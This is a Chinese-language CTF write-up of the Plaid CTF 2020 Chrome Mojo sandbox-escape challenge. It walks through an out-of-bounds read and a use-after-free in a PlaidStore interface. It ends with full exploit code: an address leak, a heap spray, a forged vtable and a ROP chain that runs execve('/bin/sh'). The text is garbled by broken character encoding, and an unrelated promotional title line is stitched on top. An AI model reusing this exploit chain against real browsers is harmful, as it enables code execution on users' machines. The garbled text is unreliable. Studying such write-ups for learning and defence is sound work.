兩學(xué)一做 網(wǎng)站源碼app注冊(cè)推廣團(tuán)隊(duì)
文章目錄
- 前置知識(shí)
- 參考文章
- 環(huán)境搭建
- 題目環(huán)境
- 調(diào)試環(huán)境
- 題目分析
- 附件分析
- 漏洞分析
- OOB
- UAF
- 漏洞利用
- 總結(jié)
前置知識(shí)
Mojo & Services 簡(jiǎn)介
chromium mojo 快速入門
Mojo docs
Intro to Mojo & Services
- 譯文:利用Mojo IPC的UAF漏洞實(shí)現(xiàn)Chrome瀏覽器沙箱逃逸
- 原文:Cleanly Escaping the Chrome Sandbox
參考文章
本文主要參考 Plaid CTF 2020 mojo Writeup
環(huán)境搭建
題目環(huán)境
給了 docker
環(huán)境,所以直接啟 docker
即可。
安裝 docker
:
sudo snap install docker
運(yùn)行 run.sh
腳本:
./run.sh
運(yùn)行 chrome
:
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
調(diào)試環(huán)境
這里單獨(dú)啟一個(gè) web
服務(wù):
python3 -m http.server 8000
調(diào)試腳本:
# gdbinit
# 讀取符號(hào)
file ./chrome
# 設(shè)置啟動(dòng)參數(shù)
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 設(shè)置執(zhí)行fork后繼續(xù)調(diào)試父進(jìn)程
set follow-fork-mode parent
然后 gdb
調(diào)試即可:
gdb -x gdbinit
題目分析
附件分析
題目新定義了一個(gè) PlaidStore
接口:
module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};
該接口定義了兩個(gè)方法 StoreData
、GetData
分別用于向 data store
中存儲(chǔ)數(shù)據(jù)和獲取數(shù)據(jù)。
然后在瀏覽器端實(shí)現(xiàn) PlaidStore
接口:
namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}
可以看到這里存在兩個(gè)私有變量其中一個(gè)是 data_store_
,這個(gè)好理解,其就是用來(lái)存儲(chǔ)數(shù)據(jù)的;這里的 render_frame_host_
是神馬東西呢?
render
進(jìn)程中的每一個(gè) frame
都在 browser
進(jìn)程中對(duì)應(yīng)一個(gè) RenderFrameHost
,很多由瀏覽器提供的 mojo
接口就是通過 RenderFrameHoset
獲取的。在 RenderFrameHost
初始化階段,會(huì)在 BinderMap
中填充所有公開的 mojo
接口:
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));}
當(dāng)一個(gè) render frame
請(qǐng)求該接口時(shí),在 BinderMap
中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore
就會(huì)被調(diào)用,其定義如下:
void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接調(diào)用了 PlaidStoreImpl::Create
函數(shù):
// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通過該函數(shù),一個(gè) PlaidStoreImpl
就被創(chuàng)建,并且該 PendingReceiver
與一個(gè) SelfOwnedReceiver
綁定。
漏洞分析
該題存在兩個(gè)漏洞,分別是 OOB
與 UAF
,接下來(lái)直接分別講解。
OOB
來(lái)分析下存取數(shù)據(jù)的操作:
void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}
可以看到兩個(gè)操作都會(huì)先調(diào)用 render_frame_host_->IsRenderFrameLive
去檢查 render frame
是否處于 live
狀態(tài)。然后 StoreData
沒啥問題,主要在于 GetData
函數(shù)沒有對(duì) count
字段做檢查,所以這里可以導(dǎo)致越界讀。
UAF
這里主要涉及到對(duì)象指針生命周期的問題。
在上面我們說過當(dāng)一個(gè) render frame
請(qǐng)求該接口時(shí),在 BinderMap
中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore
就會(huì)被調(diào)用,其最后會(huì)調(diào)用到 PlaidStoreImpl::Create
函數(shù):
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通過該函數(shù),一個(gè) PlaidStoreImpl
就被創(chuàng)建,并且該 PendingReceiver
與一個(gè) SelfOwnedReceiver
綁定,也就是說這里會(huì)將消息管道的一段 receiver
與 PlaidStoreImpl
綁定,而這里傳入的 render_frame_host
是一個(gè) PlaidStoreImpl
類型的智能指針。
由于這里的綁定,所以當(dāng) mojo
管道關(guān)閉或發(fā)生錯(cuò)誤時(shí),PlaidStoreImpl
就會(huì)被自動(dòng)釋放,從而使得 PlaidStoreImpl
與 receiver
的生命周期保持一致,這其實(shí)是不存在問題的。
而在 PlaidStoreImpl
的構(gòu)造函數(shù)中,存在對(duì) render_frame_host
的賦值操作:
PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl
的構(gòu)造函數(shù)中,將 render_frame_host
賦給了其私有屬性 render_frame_host_
。那么問題就來(lái)了,如果 render_frame_host
對(duì)象被析構(gòu)了(比如刪除 iframe
),但是 PlaidStoreImpl
還存在(因?yàn)?render_frame_host
并沒有與 PlaidStoreImpl
綁定),那么在 StoreData/GetData
中調(diào)用 render_frame_host_->IsRenderFrameLive()
就會(huì)存在 UAF
漏洞。
漏洞利用
整體是思路就比較明確了:
- 利用
OOB
泄漏相關(guān)數(shù)據(jù) - 利用
UAF
劫持程序執(zhí)行流
前期準(zhǔn)備
調(diào)用 MojoJS
接口時(shí),請(qǐng)包含以下 JS
文件(這里請(qǐng)根據(jù)具體題目路徑進(jìn)行包含):
<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
然后進(jìn)行管道端點(diǎn)綁定:
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 獲取 PlaidStore 實(shí)例
var name = blink.mojom.PlaidStore.name; // 獲取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
調(diào)試分析
OOB 泄漏數(shù)據(jù)
首先是測(cè)試 OOB
,主要是看下能夠泄漏什么數(shù)據(jù):
<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 這種方式斷點(diǎn)斷不下來(lái)???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>
將斷點(diǎn)打在 PlaidStoreImpl::Create
函數(shù)上,主要就是看下 PlaidStoreImpl
申請(qǐng)的空間:
可以看到這里 PlaidStoreImpl
的空間大小為 0x28
,其成員依次往下為 vtable
、render_frame_host
、data_store_
:
當(dāng) StoreData
執(zhí)行完后:
可以看到,這里 PlaidStoreImpl
、data_store_
、data_vector
位于同一個(gè)段,所以這里可以通過越界讀泄漏 PlaidStoreImpl
的 vtable
地址,并且還可以泄漏 render_frame_host_
的地址,然后通過這些地址泄漏其它地址。比如可以通過 vtable
的地址確定 ELF
加載基地址:
泄漏了 ELF
基地址后,就可以得到很多有用的 gadget
了。
UAF 劫持程序執(zhí)行流
有了 gadget
后,接下來(lái)就是考慮如何劫持 rip
,這里的想法就是劫持虛表指針從而劫持程序執(zhí)行流。
我們知道,每次調(diào)用 StoreData/GetData
時(shí),都會(huì)先調(diào)用 render_frame_host_->IsRenderFrameLive
,其是通過虛表指針進(jìn)行調(diào)用的:
可以看到這里的 rax
就是 render_frame_host_
的虛表地址,然后 [rax + 0x160]
就是 IsRenderFrameLive
函數(shù)的地址。
可以簡(jiǎn)單驗(yàn)證一下,可以看到當(dāng)執(zhí)行 call QWORD PTR[rax+0x160]
時(shí),rax
確實(shí)是 render_frame_host_
的虛表地址:
那么整個(gè)思路就比較清晰了:
- 構(gòu)造
render_frame_host_ UAF
- 堆噴獲取
UAF
堆塊并偽造render_frame_host_
虛表 - 調(diào)用
render_frame_host_->IsRenderFrameLive
控制程序執(zhí)行流
這里 rax
寄存器的值就是 render_frame_host_
的虛表地址,而其虛表地址我們是可控的(就在 render_frame_host_
對(duì)象的頭 8 字節(jié)處),而在 OOB
中我們又可以順帶泄漏 render_frame_host_
的地址(其就在 PlaidStoreImpl
虛表的下方),所以我們可以利用 xchg rax, rsp
等 gadget
劫持棧到 render_frame_host_
上,并提前在 render_frame_host_
上布置好 rop chain
即可。
這里借用上述參考文章中佬的一張圖:
在布局
gadget
前還有一個(gè)問題:我們?cè)撊绾卧卺尫?render_frame_host_
所指向的內(nèi)存之后,再將這塊內(nèi)存分配回來(lái)?這里有個(gè)小知識(shí)點(diǎn),chrome
中的內(nèi)存管理使用的是TCMalloc
機(jī)制。又因?yàn)?StoreData
函數(shù)分配的vector<uint8_t>
與render_frame_host_
使用的是同一個(gè)分配器,只要大量分配大小與RenderFrameHostImpl
相等的vector
,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)
實(shí)現(xiàn)了高效的多線程內(nèi)存管理,用于替代系統(tǒng)的內(nèi)存分配相關(guān)的函數(shù) TCMalloc解密
所以我們現(xiàn)在得需要知道 RenderFrameHostImpl
的大小。將斷點(diǎn)打在其構(gòu)造函數(shù) RenderFrameHostImpl::RenderFrameHostImpl
上:
可以看到,在執(zhí)行構(gòu)造函數(shù)前執(zhí)行了 RenderFrameFactory::Create
函數(shù),所以其多半就是為 RenderFrameHostImpl
分配空間的函數(shù),重新將斷點(diǎn)打在 RenderFrameHostFactory::Create
上:
所以這里多半就可以確認(rèn) RenderFrameHostImpl
的大小為 0xc28
。
這里照搬上述參考文章,也是比較重要的部分:
當(dāng)我們創(chuàng)建一個(gè) child iframe
并建立一個(gè) PlaidStoreImpl
實(shí)例后。如果我們關(guān)閉這個(gè) child iframe
,則對(duì)應(yīng)的RenderFrameHost
將會(huì)自動(dòng)關(guān)閉;但與此同時(shí),child iframe
所對(duì)應(yīng)的 PlaidStoreImpl
與 browser
建立的 mojo
管道將會(huì)被斷開。而該管道一但斷開,則 PlaidStoreImpl
實(shí)例將會(huì)被析構(gòu)。
因此,我們需要在關(guān)閉 child iframe
之前,將管道的 remote
端移交給 parent iframe
,使得 child iframe
的 PlaidStoreImpl
實(shí)例在 iframe
關(guān)閉后仍然存活。
回想一下,正常情況下,當(dāng)關(guān)閉一個(gè)
iframe
時(shí),RenderFrameHost
將會(huì)被析構(gòu)、mojo
管道將會(huì)被關(guān)閉。此時(shí)Mojo
管道的關(guān)閉一定會(huì)帶動(dòng)PlaidStoreImpl
的析構(gòu),這樣就可以析構(gòu)掉所有該析構(gòu)的對(duì)象。
但這里卻沒有,因?yàn)樵陉P(guān)閉child iframe
前,已經(jīng)將該iframe
所持有的Mojo
管道Remote
端移交出去了,因此在關(guān)閉child iframe
時(shí)將不會(huì)關(guān)閉Mojo
管道。而PlaidStoreImpl
的生命周期并沒有與RenderFrameHost
相關(guān)聯(lián)。即RenderFrameHost
的析構(gòu)完全不影響PlaidStoreImpl
實(shí)例的生命周期。所以,PlaidStoreImpl
實(shí)例將不會(huì)被析構(gòu)。
那么,問題是,該如何移交 Mojo
管道的 remote
端呢?答案是:使用 MojoInterfaceInterceptor
。該功能可以攔截來(lái)自同一進(jìn)程中其他 iframe
的 Mojo.bindInterface
調(diào)用。在 child iframe
被銷毀前,我們可以利用該功能將mojo
管道的一端傳遞給 parent iframe
。
以下是來(lái)自其他 exp 的相關(guān)代碼,我們可以通過該代碼片段來(lái)了解 MojoInterfaceInterceptor
的具體使用方式:
var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}
現(xiàn)在,我們已經(jīng)解決了所有潛在的問題,UAF 的利用方式應(yīng)該是這樣的:
- 將
child iframe
中Mojo
管道的remote
端移交至parent iframe
,使得Mojo
管道仍然保持連接 - 釋放
child iframe
- 多次分配內(nèi)存,使得分配到原先被釋放
RenderFrameHostImpl
的內(nèi)存區(qū)域 - 寫入目標(biāo)數(shù)據(jù)
- 執(zhí)行
child iframe
對(duì)應(yīng)的PlaidStoreImpl::GetData
函數(shù)
不過需要注意的是,在該題中并不需要將
child iframe
的Mojo
管道一端傳遞給parent iframe
的操作。因?yàn)橥ㄟ^調(diào)試可知,child iframe
在remove
后,其所對(duì)應(yīng)的PlaidStoreImpl
實(shí)例仍然存在,并沒有隨著Mojo pipe
的關(guān)閉而被析構(gòu)
尚未明確具體原因,但這種情況卻簡(jiǎn)化了漏洞利用的方式
最后簡(jiǎn)化后的利用方式如下:
- 釋放
child iframe
- 多次分配內(nèi)存,使得分配到原先被釋放
RenderFrameHostImpl
的內(nèi)存區(qū)域 - 寫入目標(biāo)數(shù)據(jù)
- 執(zhí)行
child iframe
對(duì)應(yīng)的PlaidStoreImpl::GetData
函數(shù)
簡(jiǎn)單測(cè)試一下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>
效果如下:
程序在 GetData
中 Crash
,此時(shí)的 rax = 0xdeadbeef
,符合預(yù)期。
最后的 exp
如下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>
效果如下:
總結(jié)
這個(gè)題目算是比較簡(jiǎn)單的沙箱逃逸了,但是還是搞了兩天。主要的問題就是調(diào)試,比較奇怪的是如果 exp
中出現(xiàn)了一些錯(cuò)誤,程序不會(huì)報(bào)錯(cuò)。比如我的 exp
最開始在賦值 BigInt
類型的數(shù)字時(shí),忘記給 0
后面加上 n
,然后 exp
就一直打不通,但是程序也不報(bào)錯(cuò),所以這里發(fā)現(xiàn)這個(gè) 0n
問題,我就搞了一天…